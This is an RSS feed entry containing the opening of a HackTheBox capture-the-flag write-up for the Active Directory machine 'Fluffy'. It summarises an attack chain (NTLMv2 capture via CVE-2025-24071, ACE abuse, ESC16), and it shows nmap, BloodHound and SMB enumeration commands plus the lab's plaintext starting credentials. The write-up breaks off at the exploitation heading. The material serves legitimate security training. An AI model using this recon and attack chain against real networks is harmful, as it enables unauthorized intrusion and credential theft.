<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Genericwrite on</title><link>https://h4r1337.github.io/tags/genericwrite/</link><description>Recent content in Genericwrite on</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Wed, 27 May 2026 17:04:26 +0530</lastBuildDate><atom:link href="https://h4r1337.github.io/tags/genericwrite/index.xml" rel="self" type="application/rss+xml"/><item><title>Fluffy | HackTheBox</title><link>https://h4r1337.github.io/posts/fluffy/</link><pubDate>Wed, 27 May 2026 17:04:26 +0530</pubDate><guid>https://h4r1337.github.io/posts/fluffy/</guid><description>&lt;h3 id="overview">Overview&lt;/h3>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/cover.webp">&lt;/figure>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">Title&lt;/th>
&lt;th style="text-align: center">&lt;a href="https://app.hackthebox.com/machines/Fluffy">Fluffy&lt;/a>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">Difficulty&lt;/td>
&lt;td style="text-align: center">Easy&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Machine&lt;/td>
&lt;td style="text-align: center">Windows&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Makers&lt;/td>
&lt;td style="text-align: center">&lt;a href="https://app.hackthebox.com/users/1253217">&lt;img src="https://www.hackthebox.com/badge/image/1253217" alt="" style="display: unset">&lt;/a> &amp;amp; &lt;a href="https://app.hackthebox.com/users/389926">&lt;img src="https://www.hackthebox.com/badge/image/389926" alt="" style="display: unset">&lt;/a>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;br>
&lt;div class="alert alert-tip collapsed">
&lt;div class="alert-heading-box" onclick="toggleAlert(this)" >
&lt;i class="bx bx-bulb">&lt;/i>
&lt;p class="alert-heading">
About Fluffy
&lt;/p>
&lt;i class='bx bx-chevron-down collapsed'>&lt;/i>
&lt;/div>
&lt;div class="alert-content" style="display: none;" >
&lt;p>Fluffy is an assumed breach Active Directory machine. We will get initial credentials for user &lt;code>j.fleischman&lt;/code> and from there we have to exploit CVE-2025-24071, which involves crafting malicious library-ms files in a zip archive. The zip file, which was uploaded to an SMB share, is then opened by another user triggering the exploit and we will get NTLMv2 of that user. We then exploit &lt;code>GenericWrite&lt;/code>/&lt;code>GenericAll&lt;/code> ACEs to further pivot into the machine. In the end we will exploit ESC16 to gain access on the Administrator account.&lt;/p></description><content>&lt;h3 id="overview">Overview&lt;/h3>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/cover.webp">&lt;/figure>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">Title&lt;/th>
&lt;th style="text-align: center">&lt;a href="https://app.hackthebox.com/machines/Fluffy">Fluffy&lt;/a>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">Difficulty&lt;/td>
&lt;td style="text-align: center">Easy&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Machine&lt;/td>
&lt;td style="text-align: center">Windows&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Makers&lt;/td>
&lt;td style="text-align: center">&lt;a href="https://app.hackthebox.com/users/1253217">&lt;img src="https://www.hackthebox.com/badge/image/1253217" alt="" style="display: unset">&lt;/a> &amp;amp; &lt;a href="https://app.hackthebox.com/users/389926">&lt;img src="https://www.hackthebox.com/badge/image/389926" alt="" style="display: unset">&lt;/a>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;br>
&lt;div class="alert alert-tip collapsed">
&lt;div class="alert-heading-box" onclick="toggleAlert(this)" >
&lt;i class="bx bx-bulb">&lt;/i>
&lt;p class="alert-heading">
About Fluffy
&lt;/p>
&lt;i class='bx bx-chevron-down collapsed'>&lt;/i>
&lt;/div>
&lt;div class="alert-content" style="display: none;" >
&lt;p>Fluffy is an assumed breach Active Directory machine. We will get initial credentials for user &lt;code>j.fleischman&lt;/code> and from there we have to exploit CVE-2025-24071, which involves crafting malicious library-ms files in a zip archive. The zip file, which was uploaded to an SMB share, is then opened by another user triggering the exploit and we will get NTLMv2 of that user. We then exploit &lt;code>GenericWrite&lt;/code>/&lt;code>GenericAll&lt;/code> ACEs to further pivot into the machine. In the end we will exploit ESC16 to gain access on the Administrator account.&lt;/p>
&lt;/div>
&lt;/div>
&lt;script>
function toggleAlert(headerElement) {
var alertBox = headerElement.parentElement;
var alertContent = alertBox.querySelector('.alert-content');
var icon = headerElement.querySelectorAll('i')[1];
alertBox.classList.toggle('open');
alertBox.classList.toggle('collapsed');
if (alertBox.classList.contains('open')) {
alertContent.style.display = 'block';
icon.classList.remove('open');
icon.classList.add('collapsed');
} else {
icon.classList.remove('collapsed');
icon.classList.add('open');
alertContent.style.display = 'none';
}
}
&lt;/script>
&lt;hr>
&lt;h2 id="information-gathering">Information Gathering&lt;/h2>
&lt;p>Scanned all TCP ports:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nmap -p- --min-rate &lt;span style="color:#d3869b">10000&lt;/span> -vv $IP -oA recon/nmap/ports
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>Nmap scan report &lt;span style="color:#fe8019">for&lt;/span> 10.129.165.76
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Not shown: &lt;span style="color:#d3869b">65517&lt;/span> filtered tcp ports &lt;span style="color:#fe8019">(&lt;/span>no-response&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PORT STATE SERVICE REASON
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>53/tcp open domain syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>88/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>139/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>389/tcp open ldap syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>445/tcp open microsoft-ds syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>464/tcp open kpasswd5 syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>593/tcp open http-rpc-epmap syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>636/tcp open ldapssl syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>3268/tcp open globalcatLDAP syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>3269/tcp open globalcatLDAPssl syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>5985/tcp open wsman syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>9389/tcp open adws syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>49667/tcp open unknown syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>49689/tcp open unknown syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>49690/tcp open unknown syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>49698/tcp open unknown syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>49714/tcp open unknown syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>49727/tcp open unknown syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Enumerated open TCP ports:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nmap -p53,88,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -vv $IP -oA recon/nmap/service
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>Nmap scan report &lt;span style="color:#fe8019">for&lt;/span> 10.129.165.76
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host is up, received echo-reply ttl &lt;span style="color:#d3869b">127&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>0.54s latency&lt;span style="color:#fe8019">)&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PORT STATE SERVICE REASON VERSION
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>53/tcp open domain syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span> Simple DNS Plus
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>88/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span> Microsoft Windows Kerberos &lt;span style="color:#fe8019">(&lt;/span>server time: 2026-05-26 16:46:29Z&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>139/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span> Microsoft Windows netbios-ssn
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>389/tcp open ldap syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span> Microsoft Windows Active Directory LDAP &lt;span style="color:#fe8019">(&lt;/span>Domain: fluffy.htb, Site: Default-First-Site-Name&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| ssl-cert: Subject:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Subject Alternative Name: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Issuer: commonName&lt;span style="color:#fe8019">=&lt;/span>fluffy-DC01-CA/domainComponent&lt;span style="color:#fe8019">=&lt;/span>fluffy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Public Key type: rsa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Public Key bits: &lt;span style="color:#d3869b">2048&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Signature Algorithm: sha256WithRSAEncryption
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Not valid before: 2026-04-30T16:09:59
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Not valid after: 2106-04-30T16:09:59
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| MD5: f5e3 ec00 5fd1 2a95 a76b 2fd6 &lt;span style="color:#d3869b">4726&lt;/span> 4d67
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| SHA-1: &lt;span style="color:#d3869b">6867&lt;/span> &lt;span style="color:#d3869b">9230&lt;/span> &lt;span style="color:#d3869b">5123&lt;/span> dcf1 &lt;span style="color:#d3869b">9352&lt;/span> e081 &lt;span style="color:#d3869b">4148&lt;/span> 7fef 13c7 6c0a
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| SHA-256: a90d f4d0 6fe1 &lt;span style="color:#d3869b">9052&lt;/span> 822e 708e 65e8 2c70 24d5 8ef7 692a b346 da07 47d5 d81f 36ee
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| -----BEGIN CERTIFICATE-----
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| MIIFmjCCBIKgAwIBAgITUAAAABHyG6GZUVLpIQACAAAAETANBgkqhkiG9w0BAQsF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &amp;lt;----------- SNIP ----------&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| mmZJw5lCPljYhiN3Rh/8vUlg6IQlJEsyAJL1Y9MuaTJOuyf2PZPCJURtKhgdiA&lt;span style="color:#fe8019">==&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_-----END CERTIFICATE-----
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ssl-date: 2026-05-26T16:48:04+00:00; +7h02m51s from scanner time.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>445/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>464/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>593/tcp open ncacn_http syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span> Microsoft Windows RPC over HTTP 1.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>636/tcp open ssl/ldap syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span> Microsoft Windows Active Directory LDAP &lt;span style="color:#fe8019">(&lt;/span>Domain: fluffy.htb, Site: Default-First-Site-Name&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| ssl-cert: Subject:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Subject Alternative Name: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Issuer: commonName&lt;span style="color:#fe8019">=&lt;/span>fluffy-DC01-CA/domainComponent&lt;span style="color:#fe8019">=&lt;/span>fluffy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Public Key type: rsa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Public Key bits: &lt;span style="color:#d3869b">2048&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Signature Algorithm: sha256WithRSAEncryption
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Not valid before: 2026-04-30T16:09:59
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Not valid after: 2106-04-30T16:09:59
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| MD5: f5e3 ec00 5fd1 2a95 a76b 2fd6 &lt;span style="color:#d3869b">4726&lt;/span> 4d67
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| SHA-1: &lt;span style="color:#d3869b">6867&lt;/span> &lt;span style="color:#d3869b">9230&lt;/span> &lt;span style="color:#d3869b">5123&lt;/span> dcf1 &lt;span style="color:#d3869b">9352&lt;/span> e081 &lt;span style="color:#d3869b">4148&lt;/span> 7fef 13c7 6c0a
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| SHA-256: a90d f4d0 6fe1 &lt;span style="color:#d3869b">9052&lt;/span> 822e 708e 65e8 2c70 24d5 8ef7 692a b346 da07 47d5 d81f 36ee
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| -----BEGIN CERTIFICATE-----
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| MIIFmjCCBIKgAwIBAgITUAAAABHyG6GZUVLpIQACAAAAETANBgkqhkiG9w0BAQsF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &amp;lt;----------- SNIP ----------&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| mmZJw5lCPljYhiN3Rh/8vUlg6IQlJEsyAJL1Y9MuaTJOuyf2PZPCJURtKhgdiA&lt;span style="color:#fe8019">==&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_-----END CERTIFICATE-----
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>3268/tcp open ldap syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span> Microsoft Windows Active Directory LDAP &lt;span style="color:#fe8019">(&lt;/span>Domain: fluffy.htb, Site: Default-First-Site-Name&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ssl-date: 2026-05-26T16:48:04+00:00; +7h02m51s from scanner time.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| ssl-cert: Subject:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Subject Alternative Name: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Issuer: commonName&lt;span style="color:#fe8019">=&lt;/span>fluffy-DC01-CA/domainComponent&lt;span style="color:#fe8019">=&lt;/span>fluffy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Public Key type: rsa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Public Key bits: &lt;span style="color:#d3869b">2048&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Signature Algorithm: sha256WithRSAEncryption
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Not valid before: 2026-04-30T16:09:59
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Not valid after: 2106-04-30T16:09:59
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| MD5: f5e3 ec00 5fd1 2a95 a76b 2fd6 &lt;span style="color:#d3869b">4726&lt;/span> 4d67
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| SHA-1: &lt;span style="color:#d3869b">6867&lt;/span> &lt;span style="color:#d3869b">9230&lt;/span> &lt;span style="color:#d3869b">5123&lt;/span> dcf1 &lt;span style="color:#d3869b">9352&lt;/span> e081 &lt;span style="color:#d3869b">4148&lt;/span> 7fef 13c7 6c0a
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| SHA-256: a90d f4d0 6fe1 &lt;span style="color:#d3869b">9052&lt;/span> 822e 708e 65e8 2c70 24d5 8ef7 692a b346 da07 47d5 d81f 36ee
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| -----BEGIN CERTIFICATE-----
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| MIIFmjCCBIKgAwIBAgITUAAAABHyG6GZUVLpIQACAAAAETANBgkqhkiG9w0BAQsF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &amp;lt;----------- SNIP -----------&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| mmZJw5lCPljYhiN3Rh/8vUlg6IQlJEsyAJL1Y9MuaTJOuyf2PZPCJURtKhgdiA&lt;span style="color:#fe8019">==&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_-----END CERTIFICATE-----
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>3269/tcp open ssl/ldap syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span> Microsoft Windows Active Directory LDAP &lt;span style="color:#fe8019">(&lt;/span>Domain: fluffy.htb, Site: Default-First-Site-Name&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| ssl-cert: Subject:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Subject Alternative Name: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Issuer: commonName&lt;span style="color:#fe8019">=&lt;/span>fluffy-DC01-CA/domainComponent&lt;span style="color:#fe8019">=&lt;/span>fluffy
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Public Key type: rsa
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Public Key bits: &lt;span style="color:#d3869b">2048&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Signature Algorithm: sha256WithRSAEncryption
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Not valid before: 2026-04-30T16:09:59
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Not valid after: 2106-04-30T16:09:59
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| MD5: f5e3 ec00 5fd1 2a95 a76b 2fd6 &lt;span style="color:#d3869b">4726&lt;/span> 4d67
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| SHA-1: &lt;span style="color:#d3869b">6867&lt;/span> &lt;span style="color:#d3869b">9230&lt;/span> &lt;span style="color:#d3869b">5123&lt;/span> dcf1 &lt;span style="color:#d3869b">9352&lt;/span> e081 &lt;span style="color:#d3869b">4148&lt;/span> 7fef 13c7 6c0a
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| SHA-256: a90d f4d0 6fe1 &lt;span style="color:#d3869b">9052&lt;/span> 822e 708e 65e8 2c70 24d5 8ef7 692a b346 da07 47d5 d81f 36ee
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| -----BEGIN CERTIFICATE-----
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| MIIFmjCCBIKgAwIBAgITUAAAABHyG6GZUVLpIQACAAAAETANBgkqhkiG9w0BAQsF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &amp;lt;--------- SNIP -----------&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| mmZJw5lCPljYhiN3Rh/8vUlg6IQlJEsyAJL1Y9MuaTJOuyf2PZPCJURtKhgdiA&lt;span style="color:#fe8019">==&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_-----END CERTIFICATE-----
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ssl-date: 2026-05-26T16:48:04+00:00; +7h02m50s from scanner time.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>5985/tcp open http syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span> Microsoft HTTPAPI httpd 2.0 &lt;span style="color:#fe8019">(&lt;/span>SSDP/UPnP&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-title: Not Found
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-server-header: Microsoft-HTTPAPI/2.0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>9389/tcp open mc-nmf syn-ack ttl &lt;span style="color:#d3869b">127&lt;/span> .NET Message Framing
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host script results:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| smb2-security-mode:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| 3.1.1:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ Message signing enabled and required
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| smb2-time:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| date: 2026-05-26T16:47:24
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ start_date: N/A
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| p2p-conficker:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Checking &lt;span style="color:#fe8019">for&lt;/span> Conficker.C or higher...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Check &lt;span style="color:#d3869b">1&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>port 12193/tcp&lt;span style="color:#fe8019">)&lt;/span>: CLEAN &lt;span style="color:#fe8019">(&lt;/span>Timeout&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Check &lt;span style="color:#d3869b">2&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>port 54280/tcp&lt;span style="color:#fe8019">)&lt;/span>: CLEAN &lt;span style="color:#fe8019">(&lt;/span>Timeout&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Check &lt;span style="color:#d3869b">3&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>port 9314/udp&lt;span style="color:#fe8019">)&lt;/span>: CLEAN &lt;span style="color:#fe8019">(&lt;/span>Timeout&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Check &lt;span style="color:#d3869b">4&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>port 48055/udp&lt;span style="color:#fe8019">)&lt;/span>: CLEAN &lt;span style="color:#fe8019">(&lt;/span>Timeout&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_clock-skew: mean: 7h02m51s, deviation: 2s, median: 7h02m50s
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Added &lt;code>fluffy.htb&lt;/code> and &lt;code>DC01&lt;/code> to &lt;code>/etc/hosts&lt;/code> file.&lt;/p>
&lt;hr>
&lt;h2 id="enumeration">Enumeration&lt;/h2>
&lt;h3 id="initial-credentials">Initial Credentials&lt;/h3>
&lt;p>Since this is an assumed breach machine we got the credentials &lt;code>j.fleischman:J0elTHEM4n1990!&lt;/code>&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260526152714.webp">&lt;/figure>
&lt;p>Let&amp;rsquo;s collect bloodhound data in the background&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>rusthound-ce -d fluffy.htb -u $USER -p $PASS --zip
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="smb---port-445">SMB - Port 445&lt;/h3>
&lt;p>After listing the shares, we found&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>smbclient -L //dc01.fluffy.htb --user $USER --password $PASS
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260526153639.webp">&lt;/figure>
&lt;p>Initially I was gettting &lt;code>NetBIOSTimeout&lt;/code> error on the target when using &lt;code>nxc&lt;/code>, but the issue can be rectified by using the &lt;code>--smb-timout&lt;/code> flag&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>nxc smb fluffy.htb -u $USER -p $PASS --smb-timeout &lt;span style="color:#d3869b">100&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260526154536.webp">&lt;/figure>
&lt;p>This will more clearly show the permissions the user have on each shares. I downloaded the &lt;code>Upgrade_notice.pdf&lt;/code> file.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260526155053.webp">&lt;/figure>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/fluffy/Pasted%20image%2020260526155219.webp">&lt;/figure>
&lt;p>There are a few CVEs mentioned in the PDF, out of which 2 of them are marked as critical severity.&lt;/p>
&lt;hr>
&lt;h2 id="exploiting-cve-2025-24071">Exploiting CVE-2025-24071&lt;/h2>
